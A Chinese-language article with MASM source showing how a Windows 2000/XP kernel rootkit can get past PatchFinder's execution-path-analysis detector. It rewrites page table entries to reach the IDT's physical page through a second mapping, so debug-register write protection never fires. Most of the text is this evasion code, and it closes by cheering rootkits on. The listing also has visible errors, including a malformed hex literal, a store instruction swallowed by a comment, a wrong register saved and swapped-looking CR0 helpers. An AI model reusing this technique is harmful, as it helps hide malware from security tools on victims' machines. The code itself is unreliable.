[介紹]
PatchFinder是一個設計很巧妙的程式,基於EPA(執行路徑分析)技術用來檢測侵入核心的Rootkit。附錄1和2可以讓你瞭解它是如何工作的。這篇文章將提供一種繞開EPA的方法。
[方法]
EPA基於Intel處理器的單步模式,使用中斷描述符表(IDT)的0x01入口。為了防止Rootkit修改這個入口,它使用調試寄存器(DR0、DR1)來保護調試處理常式(很不錯的主意)。由DR0寄存器保護0x1入口,而由DR1寄存器保護中斷處理常式。(注1:)
但是,讓我們再讀一遍Inter Manual [3]:“每個調試地址寄存器(DR0到DR3)儲存32位的斷點的線性地址”。注意:線性地址!在Windows 2000/XP下,通過分頁機制把線性地址轉換為物理地址。假設IDT的基地址是在0x8003F400,儲存在IDTR中,那麼IDT的0x01入口地址就是0x8003F408。Intel有關IDTR的說明:“基地址標明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的頁目錄被映射到線性地址0xC0300000。線性地址是由目錄、表和位移組成,通過分頁機制我們將0x8003F408轉換為物理地址就是0x03F00(由實驗中得來)。現在我們要做的就是建立一個緩衝區,擷取指向緩衝區的指標並修改頁目錄和頁表使這個緩衝區指向物理地址0x03F00。然後,向這個緩衝區中寫入的東西就會寫入IDT,並且不會觸發PatchFinder的保護機制。調試寄存器是根本無法保護記憶體的,因為它們無法保護實體記憶體。
[原始碼]
這裡是原始碼,由MASM v8.0彙編。因為我喜歡組合語言:-)完全的原始碼可以在www.rootkit.com找到。
;---定義IDTR結構-------
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR ENDS
;-----------------------
ByepassIDTProtection PROC
LOCAL dbgHandler:DWORD
LOCAL myIDT:DIDTR
LOCAL idtbase:DWORD
LOCAL idtbaseoff:DWORD
LOCAL idtPDE:DWORD
LOCAL idtPDEaddr:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTEaddr:DWORD
LOCAL varbase:DWORD
LOCAL varbaseoff:DWORD
LOCAL varPDE:DWORD
LOCAL varPDEaddr:DWORD
LOCAL varPTE:DWORD
LOCAL varPTEaddr:DWORD
LOCAL diffoffset:DWORD
pushad
;分配一個頁大小的記憶體(從非分頁池中分配)
invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h
mov varbase,eax
cli ;記得恢複
invoke DisablePageProtection ;對XP,Regmon使用的一個很老的技巧
sidt myIDT
mov eax,myIDT.ibase
add eax,08h
mov idtbase,eax ;idtbase = IDT的基地址 + 8位元組
and eax,0FFC00000h ;擷取IDT地址的目錄索引
shr eax,22
shl eax,2 ;乘與4
mov ebx,0C0300000h ;0C0300000 = 頁目錄
add ebx,eax ;ebx = [頁目錄 + 目錄索引*4]
mov idtPDEaddr,ebx
mov eax,[ebx]
mov idtPDE,eax ;eax = IDT地址的頁目錄入口(PDE)
mov eax,idtbase
and eax,oFFFh ;擷取IDT地址的低12位 = 頁內位移 mov idtbaseoff,eax
mov eax,idtbase
shr eax,12 ;擷取IDT地址的高12位
shl eax,2 ;乘與4
mov ebx,0C0000000h ;進程頁表映射在0xC0000000開始的4MB空間中
add ebx,eax
mov idtPTEaddr,eax ;IDT地址的PTE的地址
mov eax,[ebx]
mov idtPTE,eax ;取該地址的PTE
mov eax,varbase
and eax,0FFC00000h ;擷取varbase的頁目錄索引
shr eax,22
shl eax,2
mov ebx,0C0300000h
add ebx,eax
mov varPDEaddr,ebx
mov eax,[ebx]
mov varPDE,eax
mov eax,varbase
and eax,0FFFh
mov varbaseoff,eax
mov eax,varbase
shr eax,12
shl eax,2
mov ebx,0C0000000h
add ebx,eax
mov varPTEaddr,ebx
mov eax,[ebx]
mov varPTE,eax
mov eax,varPDEaddr ;修改PDE為和IDT0x01的一樣
mov ebx,idtPDE
mov [eax],ebx
mov eax,varPTEaddr ;修改PTE為和IDT0x01的一樣
mov ebx,idtPTE
mov [eax],ebx
mov ebx,idtbaseoff ;修正頁內位移
mov eax,varbaseoff
sub ebx,eax
;現在我們可以使用線性地址向IDT的0x01描述符內寫入東西而不會觸發調試寄存器
mov eax,varbase
mov dword ptr [eax+ebx],0DEADBEEFh
mov eax,varPDEaddr ;恢複原來的值
mov ebx,varPDE
mov [eax],ebx
mov eax,varPTEaddr ;恢複原來的值
mov ebx,varPTE
mov [eax],ebx
invoke EnablePageProtection ;恢複CR0寄存器的WP標誌
sti
popad
ret
BypassIDTProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
EnablePageProtection PROC
push eax
mov eax,CR0
and eax,0FFFEFFFFh
mov CR0,eax
pop eax
ret
EnablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DisablePageProtection PROC
push eax
mov eax,CR0
or eax,NOT 0FFFEFFFFh
mov CR0,eax
pop eax
ret
DisablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
[Rootkit的未來]
很不幸,這種方法使EPA變得沒用。如果微軟不改變它的安全結構,沒有一種辦法能在未來阻止rookits。未來的rootkit會在分頁機制上大有作為,這種有無限種可能性。一旦進入Ring 0,那麼永遠在Ring 0。
[參考]
[1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(進階Rootkit檢測技術)
[2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2
[3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3
注1:
這個圖無法畫出,就是畫出了讀者也不一定能看得明白(因為畫的實在太簡單了-_-)。我在這裡補充一下用調試寄存器保護地址的原理。首先是DR0-DR4這4個調試寄存器儲存了4個線性地址,然後通過DR7寄存器的相關位並檢查DR6寄存器的相關位來對這4個地址進行相關操作。參考以下代碼:
#define DB_PROT_EXEC 0
#define DB_PROT_WRITE 1
#define DB_PROT_RW 3
#define DB_DR0 0
#define DB_DR1 1
#define DB_DR2 2
#define DB_DR3 3
#define DB_LEN_1B 0
#define DB_LEN_2B 1
#define DB_LEN_4B 3
int dbProtect (int reg, int addr, int len, int protection) {
unsigned int dr7mask;
switch (reg) {
case 0:
__asm {
mov eax, addr;
mov DR0, eax;
}
break;
case 1:
__asm {
mov eax, addr;
mov DR1, eax;
}
break;
case 2:
__asm {
mov eax, addr;
mov DR2, eax;
}
break;
case 3:
__asm {
mov eax, addr;
mov DR3, eax;
}
break;
}
dr7mask = 0x2<<(reg*2);
dr7mask |= (( (len<<2) + protection) << (16+(4*reg)));
__asm {
mov eax, DR7;
or eax, dr7mask;
mov DR7, eax;
}
return 1;
}
int dbSetGeneralProtection () {
__asm {
mov eax, DR7;
or eax, 0x1000;
mov DR7, eax;
}
return 1;
}
然後在中斷處理常式中還要加入下面幾句代碼:
mov eax, DR6;
test ax, 0x100f; // BD |B3|B2|B1|B0
.
.
mov eax, DR6; // 檢查DR6的BS(單步)位
test ah, 0x40;
最後決定對3個地址進行不同程度的保護:
dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE);
dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE);
dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW);
對DR6和DR7相關位的作用不太熟悉的可以去查Intel的手冊15.2節<Debug Registers>。